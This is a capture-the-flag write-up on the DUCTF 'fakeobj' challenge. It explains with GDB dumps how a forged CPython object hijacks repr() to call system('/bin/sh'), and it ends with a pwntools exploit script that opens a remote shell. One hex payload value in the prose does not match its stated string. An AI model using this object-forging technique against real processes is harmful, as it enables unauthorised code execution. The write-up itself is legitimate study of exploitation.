This was a fun challenge that exposes some of Python’s internals.
First, here’s the script that was given:
#!/usr/bin/env python3
import ctypes
obj = {}
print(f"addrof(obj) = {hex(id(obj))}")
libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")
fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]
print(obj)
We’re given the address of an object, but what can we do with that?
My first idea was to replace one of the internal function pointers (like a destructor or __repr__
) with the address of system
, and somehow pass /bin/sh
as an argument. But first, we need to examine what obj
looks like in memory.
To do that, I used GDB to debug Python and run the fakeobj.py
script. Before modifying the object, I wanted to pause the script to inspect memory. You can use signals or GDB Python extensions, but I took the simpler route—adding an input()
just before the object gets overwritten.
Here’s the modified script:
import ctypes
obj = {}
print(f"addrof(obj) = {hex(id(obj))}")
libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")
input() # acts like a breakpoint
When inspecting memory, we see the object contains several fields, four of which are addresses:
pwndbg> x/9gx 0x7ffff718a600
0x7ffff718a600: 0x0000000000000001 0x00007ffff7cdab80
0x7ffff718a610: 0x0000000000000000 0x0000000003cde000
0x7ffff718a620: 0x00007ffff7ca6200 0x0000000000000000
0x7ffff718a630: 0x00007ffff7189fb0 0x00007ffff716ef70
0x7ffff718a640: 0x0000000000000001
The rest are probably arguments or metadata. To figure out which field we can control, I began overwriting them one by one to see which affected program control flow. Two stood out:
-
The first address should point to
obj_addr + 0x88
. -
The second address should point to an executable memory, overwriting this value with
0xdeadbeef
causes a crash at exactly that address, confirming control of execution.
Disassembly shows:
<PyObject_Str+176>: mov r14, QWORD PTR [r13+0x88]
This means if we control r13
, and r13+0x88
points to our the beginning of our object, we can hijack execution when repr()
is called (via print(obj)
).
To trigger system("/bin/sh")
, I first what system
took as an argument. When I ran the program with __repr__
replaced by system
, the program failed with an error like sh: \x03: command not found
. It turns out the first byte (0x01
which then becomes 0x03
just before the call) of the object is being passed as the first byte of the string—somehow the ob_refcnt
is treated as string argument of __repr__
. So I adjusted the payload by subtracting 0x2
from the /bin/sh
.
Now, overwriting the beginning of the object with:
0x00736c2f6e69622f - 0x2
…got me a shell!
When testing in the provided Docker container, it didn’t work right away. I installed GDB inside the container and noticed it was running Python 3.10, while I used Python 3.12 locally.
Inspecting the memory again, I saw that the first byte of the object changes from 0x01
to 0x02
instead of 0x03
. Adjusting the payload:
0x00736c2f6e69622f - 0x1
…did the trick. Got a shell.
Flag: DUCTF{what_do_you_call_a_snake_that_bakes?_a_pie-thon!}
Final Exploit Script
#!/usr/bin/env python3
from pwn import *
r = remote("chal.2025-us.ductf.net", 30001)
r.recvuntil(b"addrof(obj) = ")
obj_addr = int(r.recvuntil(b"\n").strip(), 16)
r.recvuntil(b"system = ")
system_addr = int(r.recvuntil(b"\n").strip(), 16)
payload = p64(0x0068732f6e69622f - 0x1) # '/bin/sh' - 1
payload += p64(obj_addr) # fake ob_type
payload += p64(0x0) # padding
payload += p64(0x3ce2000) # arbitrary
payload += p64(system_addr) # hijack repr
payload += p64(0x0)
payload += p64(0xc0febabe)
payload += p64(0xdeadbeef)
payload += p64(0x1)
r.recvuntil(b"fakeobj:")
r.sendline(enhex(payload).encode())
r.interactive()